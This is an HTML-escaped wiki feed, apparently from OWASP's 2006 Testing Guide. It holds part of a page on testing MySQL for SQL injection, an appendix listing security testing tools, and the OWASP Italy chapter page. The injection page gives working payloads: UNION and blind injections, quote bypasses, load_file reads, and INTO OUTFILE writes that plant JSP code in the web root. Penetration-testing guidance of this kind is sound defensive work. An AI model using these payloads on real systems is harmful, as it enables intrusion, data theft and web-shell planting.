 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the needs of using constant strings occurs,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escapes  single quotes escaped (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL there is some standard way to bypass the need of single quotes, anyway there is some trick to have a constant string to be declared without the needs of single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want know the value of a field named 'password' in a record&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ascii values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
As an example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS to ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exlamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [[http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual]].&lt;br /&gt;
&lt;br /&gt;
E.g.:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
could be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows to get all informations about databases, tables and columns&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary about some interesting View.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of these informations could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection paragraph.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If connected user has '''FILE''' privileges _and_ single quotes are not escaped,&lt;br /&gt;
it could be used the 'into outfile' clause  to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
N.B. there are no ways to bypass single quotes outstanding filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain informations&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
mysql user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If connected user has '''FILE''' privileges, it could be used to get files content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'' the whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on mysql version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [[http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual]].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''&lt;br /&gt;
*: Benchmark function could be used to perform timing attacks when blind injection by boolean values does not yeld any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list the reader could refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=14367</id>
		<title>Appendix A: Testing Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=14367"/>
				<updated>2006-12-14T19:53:27Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==Open Source Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
* '''OWASP WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts. Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
* '''OWASP Pantera''' - http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* SPIKE - http://www.immunitysec.com&lt;br /&gt;
* Paros - http://www.proofsecure.com&lt;br /&gt;
* Burp Proxy - http://www.portswigger.net&lt;br /&gt;
* Achilles Proxy - http://www.mavensecurity.com/achilles&lt;br /&gt;
* Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/&lt;br /&gt;
* Webstretch Proxy - http://sourceforge.net/projects/webstretch&amp;lt;br&amp;gt;&lt;br /&gt;
* Firefox LiveHTTPHeaders, Tamper Data and Developer Tools- http://www.mozdev.org&lt;br /&gt;
* Sensepost Wikto (Google cached fault-finding) - http://www.sensepost.com/research/wikto/index2.html&lt;br /&gt;
&lt;br /&gt;
=== Testing for specific vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
'''Testing AJAX '''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SPRAJAX - http://www.owasp.org/index.php/Category:OWASP_Sprajax_Project&lt;br /&gt;
'''Testing for SQL Injection '''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SQLiX - http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
* Multiple DBMS Sql Injection tool - [SQL Power Injector]&lt;br /&gt;
* MySql Blind Injection Bruteforcing, Reversing.org - [sqlbftools]&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [SqlDumper]&lt;br /&gt;
* Sqlninja: a SQL Server Injection&amp;amp;Takeover Tool - http://sqlninja.sourceforge.net &lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net/&lt;br /&gt;
* Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/&amp;lt;br&amp;gt;&lt;br /&gt;
* SQLInjector - http://www.databasesecurity.com/sql-injector.htm&lt;br /&gt;
'''Testing Oracle'''&lt;br /&gt;
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&lt;br /&gt;
* Toad for Oracle - http://www.quest.com/toad &lt;br /&gt;
'''Testing SSL '''&amp;lt;br&amp;gt;&lt;br /&gt;
* Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm&lt;br /&gt;
'''Testing for Brute Force Password'''&lt;br /&gt;
* THC Hydra - http://www.thc.org/thc-hydra/&lt;br /&gt;
* John the Ripper - http://www.openwall.com/john/&lt;br /&gt;
* Brutus - http://www.hoobie.net/brutus/ &lt;br /&gt;
'''Testing for HTTP Methods'''&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
'''Testing Buffer Overflow'''&lt;br /&gt;
*  OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/ &lt;br /&gt;
'''Fuzzer'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WSFuzzer - http://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project&lt;br /&gt;
'''Googling'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm&lt;br /&gt;
&lt;br /&gt;
==Commercial Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
* Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php&lt;br /&gt;
* NGSSQuirreL - http://www.ngssoftware.com/products/database-security/&lt;br /&gt;
* Watchfire AppScan - http://www.watchfire.com&lt;br /&gt;
* Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php&amp;lt;br&amp;gt;&lt;br /&gt;
* SPI Dynamics WebInspect - http://www.spidynamics.com&lt;br /&gt;
* Burp Intruder - http://portswigger.net/intruder&amp;lt;br&amp;gt;&lt;br /&gt;
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* ScanDo - http://www.kavado.com&lt;br /&gt;
* WebSleuth - http://www.sandsprite.com&lt;br /&gt;
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php&amp;lt;br&amp;gt;&lt;br /&gt;
* Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester&amp;lt;br&amp;gt;&lt;br /&gt;
* Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/&amp;lt;br&amp;gt;&lt;br /&gt;
* MaxPatrol Security Scanner - http://www.maxpatrol.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* Ecyware GreenBlue Inspector - http://www.ecyware.com/&amp;lt;br&amp;gt;&lt;br /&gt;
* Parasoft WebKing (more QA-type tool)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Source Code Analyzers==&lt;br /&gt;
&lt;br /&gt;
===Open Source / Freeware===&lt;br /&gt;
&lt;br /&gt;
* http://www.securesoftware.com&lt;br /&gt;
* FlawFinder - http://www.dwheeler.com/flawfinder&lt;br /&gt;
* Microsoft’s FXCop - http://www.gotdotnet.com/team/fxcop&lt;br /&gt;
* Split - http://splint.org&lt;br /&gt;
* Boon - http://www.cs.berkeley.edu/~daw/boon&lt;br /&gt;
* Pscan - http://www.striker.ottawa.on.ca/~aland/pscan&lt;br /&gt;
&lt;br /&gt;
===Commercial ===&lt;br /&gt;
&lt;br /&gt;
* Fortify - http://www.fortifysoftware.com&lt;br /&gt;
* Ounce labs Prexis - http://www.ouncelabs.com&lt;br /&gt;
* GrammaTech - http://www.grammatech.com&lt;br /&gt;
* ParaSoft - http://www.parasoft.com&lt;br /&gt;
* ITS4 - http://www.cigital.com/its4&lt;br /&gt;
* CodeWizard - http://www.parasoft.com/products/wizard&lt;br /&gt;
&lt;br /&gt;
==Acceptance Testing Tools==&lt;br /&gt;
Acceptance testing tools are used validate the functionality of web applications.  Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases.  Most, if not all, can be adapted to perform security specific tests in addition to functional tests.&lt;br /&gt;
&lt;br /&gt;
===Open Source Tools===&lt;br /&gt;
&lt;br /&gt;
* WATIR - http://wtr.rubyforge.org/ - A Ruby based web testing framework that provides an interface into Internet Explorer.  Windows only.&lt;br /&gt;
* HtmlUnit - http://htmlunit.sourceforge.net/ - A Java and JUnit based framework that uses the Apache HttpClient as the transport.  Very robust and configurable and is used as the engine for a number of other testing tools.&lt;br /&gt;
* jWebUnit - http://jwebunit.sourceforge.net/ - A Java based meta-framework that uses htmlunit or selenium as the testing engine.&lt;br /&gt;
* Canoo Webtest - http://webtest.canoo.com/ - An XML based testing tool that provides a facade on top of htmlunit.  No coding is necessary as the tests are completely specified in XML.  There is the option of scripting some elements in Groovy if XML does not suffice.  Very actively maintained.&lt;br /&gt;
* HttpUnit - http://httpunit.sourceforge.net/ - One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.&lt;br /&gt;
* Watij - http://watij.com - A Java implementation of WATIR.  Windows only because it uses IE for it's tests (Mozilla integration is in the works).&lt;br /&gt;
* Solex - http://solex.sourceforge.net/ - An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.&lt;br /&gt;
* Selenium - http://www.openqa.org/selenium/ - JavaScript based testing framework, cross-platform and provides a GUI for creating tests.  Mature and popular tool, but the use of JavaScript could hamper certain security tests.&lt;br /&gt;
&lt;br /&gt;
==Other Tools==&lt;br /&gt;
&lt;br /&gt;
===Runtime Analysis===&lt;br /&gt;
&lt;br /&gt;
*  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools&lt;br /&gt;
&lt;br /&gt;
===Binary Analysis===&lt;br /&gt;
&lt;br /&gt;
* BugScam - http://sourceforge.net/projects/bugscam&lt;br /&gt;
* BugScan - http://www.hbgary.com&lt;br /&gt;
&lt;br /&gt;
===Requirements Management===&lt;br /&gt;
&lt;br /&gt;
* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro&lt;br /&gt;
&lt;br /&gt;
'''Site Mirroring'''&lt;br /&gt;
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html&lt;br /&gt;
* curl - http://curl.haxx.se &lt;br /&gt;
* Sam Spade - http://www.samspade.org&lt;br /&gt;
* Xenu - http://home.snafu.de/tilman/xenulink.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy&amp;diff=14366</id>
		<title>Italy</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy&amp;diff=14366"/>
				<updated>2006-12-14T19:51:41Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Italy|extra=The chapter leader is [mailto:matteo.meucci@gmail.com Matteo Meucci]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-italy|emailarchives=http://lists.owasp.org/pipermail/owasp-italy}}&lt;br /&gt;
&lt;br /&gt;
== Local Activities ==&lt;br /&gt;
&lt;br /&gt;
* There is already a qualified group (CISSP, CISA, BS7799 Lead Auditor, OPST, OPSA) of volunteers working on the following tasks:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
- Working at the new OWASP Testing Guide! (Matteo Meucci, Alberto Revelli, Stefano Di Paola, Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
- Translate all OWASP documentations in italian language (Matteo Paolelli, Massimiliano Graziani)&amp;lt;br&amp;gt;&lt;br /&gt;
- Writing articles about OWASP Project for infosecmag (Matteo Meucci, Alessandro Graziani, Lorenzo De Santis, Marco Graia, Luca Carettoni, Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Legal (Dario Vaccaro, Marco Scialdone)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Code Review (Paolo Perego)&amp;lt;br&amp;gt;&lt;br /&gt;
- Developing WebAppSec tools &amp;amp; Research (Stefano Di Paola, Daniele Bellucci, Alberto Revelli, Antonio Parata)&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Board ==&lt;br /&gt;
* This is the (not official) '''OWASP-Italy Board''':&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
Founder and Chair: Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
Director of Communication: Raoul Chiesa&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Director : Alberto Revelli&amp;lt;br&amp;gt;&lt;br /&gt;
R&amp;amp;D Director: Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Writer Director: Lorenzo De Santis&amp;lt;br&amp;gt;&lt;br /&gt;
Italian Translation of docs and papers: Matteo Paolelli, Massimiliano Graziani.&amp;lt;br&amp;gt;&lt;br /&gt;
Official active members: Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin, Paolo Perego, Daniele Bellucci.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== What is OWASP? ==&lt;br /&gt;
&lt;br /&gt;
[http://www.isacaroma.it/html/newsletter/?q=node/78 Here] you can read an interview talking about OWASP.&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy is a CLUSIT Member ==&lt;br /&gt;
&lt;br /&gt;
http://www.clusit.it/logo_clusit/clusit_logo_b130.gif&lt;br /&gt;
&lt;br /&gt;
Thanks to CLUSIT and OWASP Foundation we have established a cross-membership between the two organizations.&lt;br /&gt;
So OWASP-Italy is now a [http://www.clusit.it/soci.htm CLUSIT member]  and CLUSIT is an OWASP Educational Member&lt;br /&gt;
&lt;br /&gt;
== NEWS: OWASP-Italy at SMAU 2006 ==&lt;br /&gt;
&lt;br /&gt;
* (Oct 06) ISACA Roma has published several interview with OWASP-Italy members:&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Paolo Perego has created the new '''OWASP Orizon Project'''. Go to [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Matteo Meucci has been selected as the new editor of the '''OWASP Testing Guide v2'''. See OWASP [http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006_:_Selected_Projects_Press_Release press release] and go to [http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Project v2]&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Carlo Pelliccioni is writing an article about the [http://www.owasp.org/index.php/Analysis_about_error_codes analysis of error codes] received by web servers. &lt;br /&gt;
&lt;br /&gt;
* Top10 Vulnerabilities - OWASP-Italy survey:&lt;br /&gt;
[[Image:Top 10 vulnerabilities-mini.GIF]]&lt;br /&gt;
&lt;br /&gt;
* (21 Jun 06) '''Infosecurity 2006''': the event is organized and managed by the CLUSIT.&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;.&lt;br /&gt;
[http://www.infosecurity.it/Roma/programma.php More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Jun 06) '''&amp;quot;Quaderno CLUSIT&amp;quot;'''&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but will be made public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (31 May 06) Luca Carettoni has published the article '''&amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;.''' [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Mar 06) '''OWASP-Boston, Microsoft'''&lt;br /&gt;
Thanks to Jim Weiler, Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting.&lt;br /&gt;
[http://www.owasp.org/local/boston.html More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (18 Nov 05) '''IDC - European Banking Forum'''&lt;br /&gt;
